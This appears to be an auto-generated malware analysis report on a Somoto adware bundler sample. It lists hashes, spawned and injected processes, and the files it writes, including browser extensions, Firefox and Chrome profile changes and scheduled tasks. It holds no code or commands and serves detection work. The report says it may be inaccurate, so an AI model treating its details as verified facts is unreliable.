Application.Bundler.Somoto.I_107e4dff93

by malwarelabrobot on February 11th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 107e4dff93c730f0dfd7b0fba2aba7c7
SHA1: 8a9e8854c4c7a60a17f0a939e044795d5ac5529e
SHA256: 615cf0804cc6537ae7dd204042ac3b4754f655b5933bb21b867118c12d5ed85d
SSDeep: 3072:222ihA0m3BJf0AVXkB 3FU3FcBbTSbdcugkB P7r2JM13KX:pA0m3T0AV0w3FbOxcXsM6
Size: 167528 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

ProtectService.exe:3084
ProtectService.exe:1404
BaofengUpdate.exe:3172
BaofengUpdate.exe:872
YTAHelper.exe:3128
ProtectWindowsManager.exe:3984
ProtectWindowsManager.exe:816
YouTubeAcceleratorService.exe:1680
YouTubeAcceleratorService.exe:1564
YouTubeAcceleratorService.exe:3980
ins_postInst.exe:3104
Lexdja.exe:1140
%original file name%.exe:2788
FLVPlayerSetup.exe:2388
TPAutoConnSvc.exe:1776
GLB4DD1.tmp:1812
biclient.exe:2344
biclient.exe:3340
biclient.exe:1728
GLJ4E3F.tmp:3496
wpm_v20.0.0.1714_0204.exe:3864
3EB4.tmp:880
ins_yta.exe:3284
appshat_generic.exe:504
testlsp.exe:3364
0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe:4736
powershell.exe:2568
powershell.exe:2620
powershell.exe:316
setup.exe:3500
setup.exe:2528
HPNotify.exe:4160
STab_Down_6.0.6.8.exe:200
cmdshell.exe:2052
jsdrv.exe:1724
ShopperPro.exe:2152
appshat.exe:4008
ins_shopperpro.exe:3056
regsvr32.exe:3884
regsvr32.exe:2612
regsvr32.exe:612
regsvr32.exe:2172
regsvr32.exe:3988
regsvr32.exe:816
lspinst.exe:2780
lspinst.exe:2480
webplayer_installer.exe:4132
webplayer_installer.exe:3796
YTAHEL~1.EXE:3436
DCytaiesmt_smtyc_setup.exe:1652
cscript.exe:3884
cscript.exe:2104
spbiu.exe:2896
spbiu.exe:2612
XTab_v4.0.exe:888
taskeng.exe:556
ytaiesmt_smtyc_setup.exe:336

The Application injects its code into the following process(es):

unelevate.EXE:3960
YouTubeAcceleratorService.exe:820
YouTubeAccelerator.exe:1532
WebPlayer.exe:3960
WebPlayer.exe:2508
IEXPLORE.EXE:4552

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process ProtectService.exe:1404 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)

The process BaofengUpdate.exe:3172 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\A727.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\A766.tmp (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Web Data (1518 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal (6322 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (13122 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\aes.js (784 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423540774_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)

The process BaofengUpdate.exe:872 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp755434\tmp\422.db (225 bytes)

The process YTAHelper.exe:3128 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (486 bytes)
C:\ProgramData\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (486 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process ProtectWindowsManager.exe:816 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process YouTubeAcceleratorService.exe:1564 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\engine.dll (146 bytes)
%Program Files% (x86)\YouTube Accelerator\ipc.dll (286 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (60 bytes)
%Program Files% (x86)\YouTube Accelerator\xmldb.dll (192 bytes)

The process YouTubeAcceleratorService.exe:820 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\Temp\SBCB6C7.tmp (486 bytes)
C:\Windows\Temp\SBCB437.tmp (486 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_820_YouTubeAcceleratorService.log (217203 bytes)
C:\Windows\Temp\SBC8F38.tmp (51193 bytes)
%Program Files% (x86)\YouTube Accelerator\helper.dll (200 bytes)
C:\Windows\Temp\SBC8A08.tmp (98 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (6725 bytes)
C:\Windows\Temp\SBCA2D8.tmp (547 bytes)
C:\Windows\Temp\SBC8B12.tmp (44 bytes)
C:\Windows\Temp\SBC8130.tmp (98 bytes)
C:\Windows\Temp\SBC609E.tmp (547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_820.log (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\va_conf.dat (706 bytes)
C:\ProgramData\TEMP:56E2E879 (232 bytes)
C:\Windows\Temp\SBC87E5.tmp (44 bytes)

The process ins_postInst.exe:3104 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_13626\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_19212\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_14837\ins_shopperpro.exe (21943 bytes)

The process Lexdja.exe:1140 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.dll (47570 bytes)
%Program Files% (x86)\App Lid\utils.exe (77250 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\221550 (94391 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\ExecDos.dll (13 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe (9147 bytes)
C:\Windows\Tasks\0e548b74-528b-4597-b8f2-4bc5002d68ce-5_user.job (74 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.exe (7547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\System.dll (23 bytes)
%Program Files% (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp (4 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\nsisos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\239809 (4595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszABA.tmp (662199 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\InstallerUtils.dll (30484 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\md5dll.dll (14 bytes)
C:\Windows\Tasks\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\InstallerUtils2.dll (3730 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfADB.tmp\StdUtils.dll (30 bytes)

The process %original file name%.exe:2788 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8793 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst38BC.tmp (6478 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (101 bytes)

The process YouTubeAccelerator.exe:1532 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1B6.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA1A0.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3364_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA267.tmp (682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA141.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3364_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\wbkA110.tmp (242 bytes)
